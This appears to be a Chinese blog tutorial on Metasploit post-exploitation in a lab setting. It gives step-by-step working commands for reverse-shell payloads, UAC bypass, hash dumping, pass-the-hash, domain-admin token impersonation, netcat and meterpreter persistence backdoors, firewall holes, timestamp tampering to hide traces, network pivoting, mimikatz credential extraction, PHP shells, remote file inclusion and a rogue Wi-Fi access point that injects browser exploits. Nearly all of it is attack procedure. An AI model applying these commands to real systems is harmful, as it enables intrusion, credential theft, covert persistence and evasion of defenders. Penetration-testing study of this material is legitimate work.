Metasploit——后渗透测试阶段

目录

1.已经获得目标系统控制权后扩大战果

2.基于已有session扩大战果

3.获取system账号权限

 4.绕过UAC限制

 5.利用漏洞直接提权为system

6.图形化payload

7.Psexec模块之Passthehash(获得的是system权限)

 8.获得system权限后的常用操作

9.域渗透

10.Windows注册表

(1)用注册表添加NC后门服务(meterpreter)

(2)打开防火墙端口(meterpreter)

11.信息收集(meterpreter扩大攻击)

12.痕迹清理(修改时间)

13.内网渗透(接近真实 )

(1)通过路由的方式

搭建

开始渗透

后渗透阶段

 (2)基于端口的Pivoting之端口转发Portfwd

14.POST模块

15.持久后门

(1)Meterpreter后门 

(2) 持久后门(目标系统重新启动后,自动反弹shell)

16.MSF延伸用法Mimikatz

17.meterpreter延伸用法

(1)PHP shell

 (2)Web Delivery

(3)RFI远程文件包含

(4)伪造AP、嗅探密码、截获数据、浏览器攻击

(1) 下载资源文件(Karmetasploit)

(2)基础架构安装配置

(3)基础配置服务设置好,现在进行伪造AP

(4)允许用户正常上网,修改资源文件内容


1.已经获得目标系统控制权后扩大战果

提权

信息收集

渗透内网

永久后门

2.基于已有session扩大战果

- msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 - b "\x00" -e x86/shikata_ga_nai -f exe -o a.exe

###启动kali上的apache,将文件a.exe放在网站目录下,直接在win7上下载a.exe


- use /exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp 开启侦听
- exploit
- 只要目标系统执行a.exe,即可获得shell

启动kali上的apache,将文件a.exe放在网站目录下 

3.获取system账号权限

 

 使用getsystem时提示Operation failed:Access is denied.The following was attempted

操作失败:访问被拒绝。尝试了以下操作。看到访问被拒绝,基本上是UAC这个功能在扰乱

 4.绕过UAC限制

#利用已有的session,再去执行另一个程序,另一个程序执行时,要求UAC访问控制的允许,允许就执行,不
#允许就不执行
use exploit/windows/local/ask
set payload windows/meterpreter/reverse_tcp 
show options

use exploit/windows/local/bypassuac

set session

set payload

不需要骗取目标用户点击允许,以exe直接bypass UAC

use exploit/windows/local/bypassuac_injection 

set session 

set payload

不需要骗取目标用户点击允许,以dll直接bypass UAC

 5.利用漏洞直接提权为system

 本地漏洞利用提权,不用getsystem,直接就是system权限

6.图形化payload

payload一旦在win7上执行,VNC的图形化界面shell反弹到kali,4444这个端口,然后进行端口的转换,转换到本机侦听的5900这个端口,最终将win7图形化界面反弹给kali。

这个界面只能看,不能操作,要想操作,就set viewonly no(true改成了false)

 不是每个exploit模块都能使用这个payload

现已经获得session和system权限的账号,就可以来获取这个系统上的信息

load priv

hashdump 获取用户账号和加密的hash值

7.Psexec模块之Passthehash(获得的是system权限)

 利用smb文件共享,可以看文件服务器的文件,同时也可以利用smb协议,在目标上执行一些程序,通过例如psexec这种方式执行

smb 445端口

设置账户和密码的hash值

 设置侦听的payload,再exlpoit,但是会报错,需要先关闭UAC

- use exploit/windows/smb/psexec
- set smbuser 1stPeak
- set smbpass 用户的hash值
- 使用该模块需要关闭UAC,并且重启,否则会报如下错误

利用已经获得system的session,关掉UAC

具体方法在上面的图片

调用reg.exe这个命令,添加一个注册表

cmd关闭了UAC,需要重启目标系统才能生效

- 立即重启系统
  shutdown /r /t 0
#然后就可以使用......psexec这个模块了

 8.获得system权限后的常用操作

 (以上操作需要管理员或system权限) 

 netsh:windwos中强大的网络配置工具

net stop是用来结束服务的

manage-bde -off C: 关闭磁盘加密     manage-bde-status C: 查看bitlocker加密状态

关闭DEP,基于硬件防恶意软件被CPU执行的技术

killav是个脚本,会杀掉杀毒软件

利用远程桌面,稳定,不会引起怀疑,不会被杀毒软件杀掉

1.run post/windows/manage/enable_rdp #打开远程桌面
/root/.msf4/loot/20200219100050_default_192.168.100.156_host.windows.cle_840297.txt
  #关闭远程桌面
2.run getgui -e #使用getgui脚本打开远程桌面

run getgui -U yuanfh -p pass #向目标系统的远程桌面用户组里添加用户
redesktop x.x.x.x #远桌面程连接目标系统
screenshot #桌面截图

use espia #加载espia插件(在meterpreter中use和load意义一样)
    screengrab #截图

添加远程桌面用户

9.域渗透

 Delegate Token: 交互登陆会话

        (注销后登陆输入用户名密码/远程桌面,这是活动状态的Token)

Impersonate Token: 非交互登陆会话

        (访问smb文件共享目录,也需要登录,这种访问不能进一步去做其他的交互)

注:只要身份认证通过,交互和非交互Token的权限是一样的。

域,安全边界,在安全边界内的资源都是互相信任的,在彼此访问时不需要再做身份验证,域内administrator权限无限大

 在win2003上设置ip,设置DNS

 安装域控,dcpromo

 指定新域名(DNS全名):lab.com;插入安装包;等待安装,然后完成——>重启

 需要将一台win xp加入域中,将win xp的IP修改一下,指定DNS为win2003的ip,不然解析不到域名

 加入域,域的账户密码,加完域要重启,跟域控制器,获取新的token(新的权限)

 在win2003,win+r,dsa.msc,为xp创建一个用户账号,设置密码

 

 xp用账户密码登录域(是普通用户,甚至连修改时间的权利都没有)

无法获取任何种类的token,如果想获取这台机器上存在的token,必须获取到这个机器系统的system权限。


先用攻击机获得xp的meterpreter,获得system权限

load incognito

list_tokens 查看这台机器上有哪些默认的token,可以查看组的token,也可以查看用户的token

 在token里没有域管理员administrator的token

在win2003上用域控制器访问xp这台电脑,总之,2003跟xp建立了文件共享smb,就已经建立了impersonation类的token

 再运行list_tokens -u,就获得了域管理员的token

 因为这个时候攻击者已经是xp上的system权限了,而且也有域管理员的token,就可以通过token伪装成域管理员

impersonate_token LAB\\administrator 

(两个反斜线,前面那个是用来转义,后面那条有意义,就是LAB下的administrator)

getuid,已经是域管理员身份了

 

然后执行execute -f cmd.exe -i -t

(-f 指定命令,-i 交互进入cmd,-t 利用当前假冒的token运行程序)

 

 执行完之后就会获得cmd的命令行,和使用shell一样

10.Windows注册表

注册表是系统配置的集中位置

 利用:大多数病毒会被注入到操作系统的启动项里,找到病毒进程杀死后,之后重启这个病毒又会启动。

(1)用注册表添加NC后门服务(meterpreter)

已经取得了目标的meterpreter的shell

在此shell的基础上,用注册表添加NC后门服务,开机自动运行

这个过程至少有一方的IP是固定的,方便控制;目标不固定,用反弹shell的方式

-d:后台静默执行

-L:监听本地端口,断开依旧侦听端口,不关闭端口

-p:指定端口

reg setval -k......后,查看xp注册表,nc已存在

 reg queryval -k......查询是否存在(目标系统需要重启,我们的444端口才开始侦听)

 生效了,就可以去连接了

(如果目标系统开了防火墙,需要先关掉,但是太容易被发现,可以在防火墙增加一个策略,允许通过一个端口从远地连接)

(2)打开防火墙端口(meterpreter)

 -H:静默模式,后台运行,不显示窗口

netsh firewall show opmode 查看这台机器防火墙的状态(开?关?)

netsh firewall add portopening TCP 4444 "test" ENABLE ALL 增加策略,允许连接4444端口,进程名test可以修改成其它更加有隐蔽性的名称

shutdown -r -f -t 0

-r restart;-f 强行关闭应用程序;-t 0立即重启

@kali~# nc 1.1.1.1 4444连接,获得shell(每次win xp重启的时候,nc的侦听都会启动)

可以使用专门的nc后门程序

11.信息收集(meterpreter扩大攻击)

 load sniffer加载嗅探插件sniffer_interfaces扫描网卡sniffer_start 2使用指定网卡ID号进行抓包(不会再目标系统上显示,在内存中缓存区块循环存储抓包(50000包) ,不写硬盘,只会再内存中运行,默认只保存五万各数据包,循环更替数据包,50001替换1,500002替换2,以此类推)
sniffer_dump 2 1.cap dump这五万个数据包,2是网卡2,1.cap是数据包名,如果没有及时dump下来,前面的包会被替换
-该插件智能过滤meterpreter流量,它只抓目标机正常与外部访问的数据包,攻击机与目标之间传输全程使用SSL/TLS加密。

.......psnuffle模块用来解码,但是看不到内容,还是适当使用wireshark

search -d C:\\....... 给空格加了转义符

Jonn.....这个只是来检查是否是典型的弱口令,没有很强大的字典

use post/windows/gather/hashdump 会把得到内容放到tmp里

更方便与use auxiliary/analyze/jtr_windows_fast一起使用(它会自动破解/tmp目录下的hash)

hashdump命令是导出目标机sam数据库中的Hash

12.痕迹清理(修改时间)

 

不要触碰文件系统,容易留下痕迹

MAC时间(Modified / Accessed / Changed缩写)

modified记录对文件的修改,

Accessed记录对文件的访问,

Changed记录对文件权限的修改。

Is -l --time=atime/ctime 1.txtls -l 1.txt 这个命令显示的时间就是mtime,不能直接用time=mtime)

stat 1.txt linux环境下一次列出三个时间

touch -d "2 days ago" 1.txt  linux修改文件的modified和accessed时间,向前推两天,

使用cat,会改变accessed时间,modified和changed时间不变,使用vi,三者时间都变(时间一样),使用chmod,只变化changed时间
touch -t 1501010101 1.txt 修改年月日时分(只会修改modified和accessed)

MACE,文件大量信息里的任何一项变化,E时间就会变化

 Timestomp也是应用于修改时间,并且能力相较于前者更强

 ls 在meterpretre下使用ls会直接显示modified时间


timestomp -v 1.txt 显示文件的详细时间,多出Entry Modified的显示
 timestomp -f c:\\autoexec.bat 1.txt
        将文件时间修改成和指定文件一样,-f 指定模板(MAC和Entry时间都改变)

        在win xp里看不到entry时间
timestomp -b -r 擦除MACE时间信息,目前此参数功能失效
timestomp -m/-a/-c/-e/-z 修改modified时间/修改accessed时间/修改created时间/修改entry时间/四种都修改

timestomp -z "MM/DD/YYYY HH24:MI:SS" 2.txt (随便修改)

timestomp -z "日/月/年 小时:分:秒" 2.txt

13.内网渗透(接近真实 )

(1)通过路由的方式

搭建

准备虚拟机Mono1,防火墙,需要两个网卡,网卡1连接到kali所在网络,网卡2桥接到物理网卡。

 

准备虚拟机Mono2,防火墙,需要两个网卡,网卡1连接到win7所在网络,网卡2桥接到物理网卡。

 

 配置防火墙mono1规则

mono1在公网上IP对应的80端口映射给kali这台机器的80端口(如果启动了kali的apache的80端口侦听),有人来访问此公网IP时,实际上能看到kali网站的内容

配置防火墙mono2规则

 

从内网到任何端口到任何目标都是允许的

 win7

 

 关掉UAC

开始渗透

kali生成一个执行程序,cp a.exe /var/www/html

 用win7访问kali上的网站192.168.21.91/a.exe下载a.exe,访问的是公网IP

在kali上设置侦听,LHOST设置的是kali自身的IP

在win7上执行a.exe,就会通过自己的防火墙,去访问外网,访问出来连接程序配好的192.168.21.91的4444端口,因为防火墙规则,就会将其转发到内网kali的4444端口,就拿到shell了

后渗透阶段

MSF的跳板功能是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由,直接使用MSF去访问原本不能直接访问的内网资源,只要路由可达了就可以使用MSF来进行探测了。

已经建立的session(一个通信的通道),所以使用msf,在两者间增加一条路由。该命令只限在msf内部使用,但还是不能访问外网的被攻击目标内网网段。

凡是kali发送给目标网络的数据包都会发给已经作为跳板的win7,再由win7转发给其他电脑

run autoroute -s 2.1.1.0/24 //win7的IP,如果win7是双网卡,添加的路由就是另一个IP
run autoroute -p
#查看路由配置

 所有去往2.1.1.0这个网段的创建的信息/数据包,都通过这个session1

端口扫描

在kali ,meterpreter使用端口扫描, (这个路由对db_nmap不起作用,只能使用msf里的模块,才会有效)

 

开放了445端口 ,尝试

use pxploit/windows/smb/ms08_067_netapi
set RHOST 2.1.1.11
set payload windows/meterpreter/reverse_tcp
set LHOST 2.1.1.10

设置LHOST,如果为Mono1公网IP,4444端口,这样设置是没有问题的,但是,如果xp没有公网访问权,exp和payload传到了xp,xp反弹shell是无法给到mono1公网的。所以设置为LHOST设置为win7的IP。


刚刚运行的指令,都是通过win7这台电脑,转发给xp,xp回连也通过win7,win7的所有工作实现都是通过a.exe,但a.exe会提示要打开一个新的网络连接,导致反弹shell失败。


(因为win7没关防火墙,所以才会做提示,只要在防火墙添加规则,就不会弹出窗口了)

xp是与win7建立了连接的,是因为win7防火墙,导致其没有将shell回传给kali

已经获得xp的shell

 (2)基于端口的Pivoting之端口转发Portfwd

#删除路由,免得影响演示转口转发的效果
run autoroute -d -s 192.168.100.0/24

就是把本地的一个1端口,和远程的服务端口做个映射,一旦本地侦听的一个端口与远程的服务端口做一个绑定的话,在进行连接的时候,这个绑定相当于一个隧道,这个隧道建立起来后,连接的时候只需要连接本地这个侦听端口,会自动通过隧道,访问到目标IP地址。

#利用已经被控计算机,在kali与攻击目标之间实现端口转发
	portfwd add -L 1.1.1.10 -l 455 -r 2.1.1.11 -p 3389
	-L:本地侦听IP
	-l:本地侦听端口
	-r:把本地端口映射给远程的端口
	-p:指定要映射的远程端口
#表示访问目标端口3389
@kali~ rdesktop 127.0.0.1:445
#查看端口转发配置信息/删除指定端口转发/删除所有端口转发
    portfwd list / delete / flush
 
总结:端口转发就是将本地的端口映射给远程目标的端口,俗话就是,我把我本机的445端口和目标的3389绑在一起,本机445就是目标3389

不指定-L,以本机0.0.0.0(所有本地IP指定端口)映射目标指定端口

 use exploit/windows/smb/ms08_067_netapi
  set RHOST 127.0.0.1
  set LHOST 2.1.1.10
  use exploit/multi/handler
  set exitonsession false

14.POST模块

当取得了shell后,在此基础上使用的 POST 模块

exploit/mutli/handler模块设置侦听端口一直处于侦听状态

set exitonsession false
#exploit后侦听端口已经被连接后,依旧不关闭该端口的侦听,可通过jobs查看

加了这条配置之后,意思是:当第一个客户端机器来连4444端口获得meterpreter shell后,4444端口还继续侦听,如果有第二个机器来连这个端口,也会获得第二个机器的meterpreter shell......4444端口是持续有效的

(如果没加这条配置,当第一个连上4444端口,获得shell后,就会关闭4444端口的侦听)

常用 POST 模块(meterpreter)

# 执行arp扫描,扫描与靶机同IP段
  run post/windows/gather/arp_scanner RHOSTS=x.x.x.0/24
# 扫描目标靶机是否为虚拟机
  run post/windows/gather/checkvm
# 查看身份账号信息:用户hash值和token
  run post/windows/gather/credentials/credential_collector
# 查看目标系统安装了哪些软件
  run post/windows/gather/enum_applications
# 目标系统当前有哪些用户处于登陆状态,用户配置文件位置
  run post/windows/gather/enum_logged_on_users
# 目标系统snmp的相关配置
  run post/windows/gather/enum_snmp
# 扫描目标系统存在哪些本地可以提权的漏洞,显示对应可以利用的模块 
  run post/multi/recon/local_exploit_suggester
# 删除目标系统中指定的用户账号
  run post/windows/manage/delete_user USERNAME="用户名"
# 查看系统运行环境变量信息
  run post/multi/gather/env
# 查看firefox里保存的账号和密码
  run post/multi/gather/firefox_creds
# 查看本地ssh登陆后保存的账号和密码,身份认证,证书信息
  run post/multi/gather/ssh_creds
# 检查目标系统指定文件是否为恶意文件
  run post/multi/gather/check_malware REMOTEFILE=c:\\xx.exe 

 自动执行meterpreter脚本

#编辑目标机器上的host文件,可以实行域名欺骗,流量劫持
    set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com

 

 缓存没有清除的话,这个目标解析操作就不会生效。一般解析会先去找缓存,缓存没有就找host,host没有就找DNS服务器。如果host有就去解析1.1.1.1这个IP地址。

在meterpreter下使用run, 下面有256个meterpreter脚本或者post模块,可供使用

# 搜集目标操作系统上运行的大量操作系统信息
    run wineum

 执行完保存到这个文件里

 migrate -N explorer.exe 直接指定移动的进程

#自动将进程转移到explorer.exe下
use exploit/mutli/handler 
show advanced
set AutoRunScript migrate -n explorer.exe
exploit -j -z

#当目标运行a.exe,获得shell的同时,会将a.exe隐藏到explorer.exe

exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

查看目标系统使用者最近正在编辑哪些文件(我最近的文档),前提:migrate到指定用户

set AutoRunScript post/windows/gather/dumplinks

通过 dumplink 模块来获得目标主机最佳进行的系统操作、访问文件和 Office 文档的操作记录。

AutoRunScript只运行执行一个这个模块,无法有两个模块按顺序执行,

解决方式是将AutoRunScript换成InitialAutoRunScript(这个执行后,可以继续执行AutoRunScript的模块)

# 先运行一个脚本
set InitialAutoRunScript migrate -n explorer.exe

# 再运行第二个脚本,收集dumplinks信息
set AutoRunScript post/windows/gather/dumplinks

#通过 dumplink 模块来获得目标主机最佳进行的系统操作、访问文件和 Office 文档的操作记录。

15.持久后门

(1)Meterpreter后门 

 在内存中完成,不向目标硬盘写入任何后门文件,一旦写入文件容易被杀毒软件查杀,在内存里隐蔽性相对高一点,比文件系统级别的后门程序相对安全一些。

拿到meterpreter的第一件事情就是将自己的shell变成持久化shell

(如果目标系统使用者发现了,结束进程,打补丁,重启,当前meterpreter shell会失效,等重启之后,meterpreter shell会再次反弹回来)

# 创建了名为metsvc的服务,自动开启"目标本地"xp 的侦听端口31337,不能用nc去连
  run metsvc -A      
# 删除再目标系统上创建的服务
  run metsvc -r

# 在msf中使用模块连接目标系统侦听的端口31337
# 用msf客户端,连接metsvc的服务运行的那台xp
  use exploit/multi/handler
  set payload windows/metsvc_bind_tcp
  set lport 31337
  set rhost 目标IP
  exploit
# 目标x.x.x.x:31337这个端口,反弹shell给我们

 -A 自动启动一个匹配的 exploit/multi/handler 去连接service

-r 就是删除已有的meterpreter

这种后门方法是只能用31337端口,不能更改所以,容易暴露,而且别人也能连接,不推荐

(2) 持久后门(目标系统重新启动后,自动反弹shell)

-i:延时启动,使meterpreter的shell更稳定

-p:指定端口

-r:指定回连本机的IP,就是攻击机IP

 -X:目标重启计算机后自动启动后门

-U:当目标用户登录时自动启动后门

-S:目标系统重启时将后门当作服务自动启动(具有系统特权)


往目标系统植入一个vbs的后门,开机自动连接指定IP的端口
执行后,需要我们kali开启侦听(端口要和之前run persistence指定的一致)

run persistence -X -i 10 -p 4444 -r 1.1.1.1
use /exploit/multi/handler
set lport 4444
set lhost 1.1.1.1
exploit
#只要目标系统重启,kali即可获得回连的shell

 

 

 重新启动xp,在kali这边新建了一个session ID,自动做了迁移

16.MSF延伸用法Mimikatz

#使用mimikatz需要先获得system权限
    getsystem 
#加载插件
    load mimikatz
    wdigest、kerberos 、msv、ssp、tspkg 、livessp
# wdigest明文显示用户账号和密码信息(包括内存中的)、kerberos和wdigest差不多、
# msv用户hash值、ssp用户明文信息、tspkg身份认证信息、livessp存活的用户明文信息

wdigest / kerberos,显示密码明文

mimikatz_ command -h
(1)mimikatz_command -f a::
# 通过犯错查看有哪些模块可以利用,就是在-f后面加个不存在的模块和两个冒号

(2)mimikatz_command -f samdump::hashes / Bootkey
# 查看hash值或Bootkey

(3)mimikatz_command -f handle::list
# 查看当前操作系统进程

(4)mimikatz_command -f service:list
# 查看操作系统服务

(5)mimikatz_command -f crypot::listProviders
# 查看系统支持哪些加密套件

(6)mimikatz_command -f winmine:infos
# 查看你当前玩的扫雷哪些是地雷

# 注:每个命令都还有子命令,::后面都是子命令,查看子命令:mimikatz_command -f 存在的模块::

扫雷游戏

17.meterpreter延伸用法

(1)PHP shell

生成php文件,在web找文件上传点,然后找到路径访问php文件,反弹shell

msfvenom......可以输出多种格式的文件

设置php的payload侦听

 (2)Web Delivery

 在kali上启动webserver,上面放一个漏洞执行代码;一个存在代码执行漏洞的目标页面,让它远程访问kali上存在漏洞执行代码的url地址,目标一旦访问url地址,就会下载漏洞执行代码的内容到本地,然后执行,就会生成一个meterpreter的shell,弹回kali。


代码执行漏洞的代码,由use exploit/multi/script/web_delivery生成

 

 将漏洞执行代码复制粘贴在代码执行的地方(以下图片是DVWA的命令执行)

(3)RFI远程文件包含

 在攻击者kali放一个webshell,通过浏览器访问有漏洞的web服务器的存在漏洞的url地址,把它要包含的文件指向远程url地址(漏洞利用位置),让它远程包含kali的webshell,一旦webshell被包含到目标服务器,那就拿到了这台服务器的shell。(远程包含)

用kali访问目标包含的webshell,也可拿到shell(这里就是本地包含),可以拿到两种shell

- use exploit/unix/webapp/php_include
- set RHOST x.x.x.x
- set PATH /dvwa/vulnerabilities/fi/
  设置攻击的目标路径
- set PHPURI /?page=XXpathXX
  自动使用path替换原来的?page=后面的内容
- set HEADERS "Cookie:security=low;PHPSESSID=eefcf023ba61219d4745ad7487fe81d7"
- set payload php/meterpreter/reverse_tcp
- set lhost 1.1.1.1
- exploit

 

(4)伪造AP、嗅探密码、截获数据、浏览器攻击

伪造AP

伪造一个AP,诱使别人来连这个AP,别人连了这个AP访问Internet上其他网站服务器的时候,因为流量经过这个AP,就可以在这个AP上嗅探抓包,因为有msf,可以在AP上启动一些漏洞利用模块,然后目标的流量经过AP,一旦发现目标浏览器有漏洞,通过流量分析可以判断浏览器版本是否有漏洞,尝试往流量里注入漏洞利用代码(插入到返回的流量中),一旦返回流量中 收到后有漏洞利用代码,恰好浏览器有对应漏洞,那么代码就会执行,创建新的meterpreter shell。

(ap一般指的是无线访问节点,一般充当连接有线网与无线网之间的一个桥梁,让两者能够相互访问、相互通信。)

 

(1) 下载资源文件(Karmetasploit)

里面包含多个对客户端漏洞利用的模块

- wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc .txt
- 安装其他依赖包
  gem install activerecord sqlite3-ruby

(2)基础架构安装配置

(在kali上安装dhcp服务,因为伪造了AP,需要给伪造AP连接的系统分发IP)

kali伪装成AP之后,有客户端连上这个AP的时候,需要用dhcp服务给客户端分发一个IP地址

(不建议在kali上安装dhcp服务)

- apt-get install isc-dhcp-server
- cat /etc/dhcp/dhcpd.conf #配置文件

使用vim后配置如下:
option domain-name-servers 10.0.0.1;(伪造AP用的IP地址,就是kali的网卡IP)
default-lease-time 60;(AP租约期限,设置短一点,提高利用率)
max-lease-time 72;(AP租约期限,设置短一点,提高利用率)
ddns-update-style none;(这一行留着)
authoritative;(授权DHCP服务器)
log-facility local7;(记录日志)
subnet 10.0.0.0 netmask 255.255.255.0 {(定义子网网段)
range 10.0.0.100 10.0.0.254;(分发给客户端的IP地址的网段)
option routers 10.0.0.1;(分发出去网段的网关地址)
option domain-name-servers 10.0.0.1;(分发本网段的DNS服务器,有全局可以不用设)
}

(3)基础配置服务设置好,现在进行伪造AP

- airmon-ng start wlan0
  #先要启动侦听模式,将wlan0设置为侦听模式
- airbase-ng -P -C 30 -e "FREE" -v wlan0mon
  #启动侦听模式后,会生成 wlan0mon这样的侦听模式的网卡,利用它伪造airbase命令,伪造生成AP
- ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
  up at0,10.0.0.1作为客户端连接,DNS服务器地址,同时也是网关地址
- touch /var/lib/dhcp/dhcpd.leases
  建议DHCP租约文件,用来保存分配IP的信息
- dhcpd -cf /etc/dhcp/dhcpd.conf at0
  指定网卡启动DHCP服务
- 启动Karmetasploit资源文件模块,当有客户端连接我伪造的AP,发送流量经过我的伪造AP(就是Kali),我在kali上就可以截获信息与注入代码等攻击
  msfconsole -q -r karma.rc_.txt
- 流量流经伪造的AP后会被kaili自动侦听和漏洞利用,漏洞利用成功后,会获得session(注:目标连接伪造的wifi后,上不了网,流量只会流经到伪造AP,无法再进行转发到互联网,那如何解决?请看下面)

 

 

因为aiebase已经启动伪造AP的命令,生成一个at0 ,at0将作为AP连接的虚拟网卡(因为还没激活,所以只能在ifconfig -a里看到)

 ifconfig at0 up 10.0.0.1 netmask 255.255.255.0  激活,可以用ifconfig看到at0了

 

 在启动dhcp之前,还有租约文件要建立,用来保存分配IP的信息

然后启动DHCP,启动后,在物理主机,FREE这个AP已经存在了

可以被连上,但无Internet。只是连上AP,但AP另一端通不到互联网,没加防火墙规则,没开启路由,所以只是能被连上而已。

 

msfconsole -q -r karma.rc_.txt

 启动Karmetasploit,启动后,当客户端把流量发给伪造的AP,kali这台机器,kali就可以截获信息,往里面注入攻击代码,完成各种各样的攻击

(4)允许用户正常上网,修改资源文件内容

- 允许用户正常上网,修改资源文件内容
(1)vi karma.rc_.txt
(2)删除db_connect postgres...
(3)删除开头setg的参数(整条内容),这样目标客户端才可以正常访问互联网
(4)删除set lport
(5)增加browser_autopwn2等其他模块(有大量客户端软件漏洞利用相关模块)
    use auxiliary/server/browser_autopwn2
    set SRVPORT 55560
    run
(6)增加检查恶意流量的模块(非攻击模块,可不添加)
    use auxiliary/vsploit/malware/dns_(有三个模块)
    可以依次配置相关信息
    依次run
(7)保存后启动Karmetasploit
    msfconsole -q -r karma.rc_.txt
(8)添加路由和防火墙规则
    echo 1 > /proc/sys/net/ipv4/ip_forward(IP转发)
	防火墙添加两条iptables规则:
	iptables P FORWARD ACCEPT
	iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
注:DNS欺骗,就是伪造IP,比如将https://www.baidu.com伪造IP为x.x.x.x,于是,只要目标访问https://www.baidu.com,就会访问我们伪造的x.x.x.x,不会访问真实的网站

 

这个模块show options里的TRAGETACTION,设置为BYPASS就会把请求转发给真实的DNS服务器;设置为FAKE就是伪造 (实现DNS地址伪造)

 

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值